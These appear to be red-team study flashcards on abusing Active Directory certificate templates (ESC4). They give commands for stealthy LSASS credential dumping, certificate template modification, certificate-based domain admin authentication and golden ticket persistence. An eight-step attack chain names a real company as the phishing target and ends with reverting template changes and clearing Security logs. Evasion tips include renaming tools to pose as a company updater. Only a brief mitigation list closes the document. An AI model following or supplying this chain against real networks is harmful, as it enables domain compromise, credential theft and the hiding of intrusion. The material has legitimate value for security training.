ESC4 Flashcards
HandleKatz
Stealthy LSASS credential dumper using handle duplication.
Command: HandleKatz.exe –pid [LSASS_PID] –dumpname C:\lsass.dmp
Use Case: Dump credentials without triggering OpenProcess detection.
SharpKatz
C# tool for credential dumping and Kerberos attacks (Mimikatz alternative).
Commands:
SharpKatz.exe –Command logonpasswords
SharpKatz.exe –Command golden –User fakeadmin …
Certify
Enumerates/modifies AD CS templates and requests certificates.
Commands:
Certify.exe find /vulnerable (Find ESC4 templates)
Certify.exe modify /template:HelpdeskTemplate /altname:admin@domain.com
Certipy
Python-based tool for AD CS exploitation.
Commands:
certipy req … (Request certificate)
certipy auth -pfx admin.pfx (Authenticate with certificate)
Impacket
Python framework for network attacks.
Tools:
secretsdump.py (Dump hashes with Kerberos tickets)
ticketer.py (Generate Golden Tickets)
Credential Dumping (Stealthy)
Method: Use HandleKatz or rundll32 comsvcs.dll to dump LSASS.
Detection Evasion: Avoid direct LSASS handles; parse dumps offline with pypykatz.
Template Modification (ESC4)
Steps:
Find templates with WriteDacl using Certify or BloodHound.
Modify EKU/SAN settings to allow privilege escalation.
Command: Certify.exe modify /template:…
Certificate Authentication
Process: Use certipy auth or SharpKatz to request a TGT with a certificate.
Result: Authenticate as DA without password.
Golden Ticket Persistence
Tools: SharpKatz or ticketer.py.
Key: Requires krbtgt hash (extracted via secretsdump.py).
ESC4 Exploit Chain (Assume Breach)
Initial Access: Phish a low-privileged user (e.g., jdoe@walgreens.com).
Credential Dumping: Use HandleKatz to extract credentials from LSASS.
Recon: Enumerate AD CS servers/templates with Certify.exe find /vulnerable.
Modify Template: Alter HelpdeskTemplate to enable SAN + Client Auth.
Enroll Certificate: Request cert with certipy req or Certify.exe request.
Authenticate: Use certipy auth to get a TGT as administrator.
Dump Hashes: secretsdump.py -k -no-pass to extract krbtgt hash.
Golden Ticket: Create persistence with ticketer.py or SharpKatz.
Cover Tracks: Revert template changes and clear logs.
Evading Detection
Use certreq.exe (native) instead of Certify for enrollment.
Rename tools (e.g., SharpKatz.exe → WalgreenUpdater.exe).
Clear logs: wevtutil cl Security.
Mitigating ESC4
Restrict Permissions: Remove WriteDacl on templates.
Monitor: Alert on Event ID 5136 (AD object modifications).
Harden Templates: Disable Client Authentication EKU where unnecessary.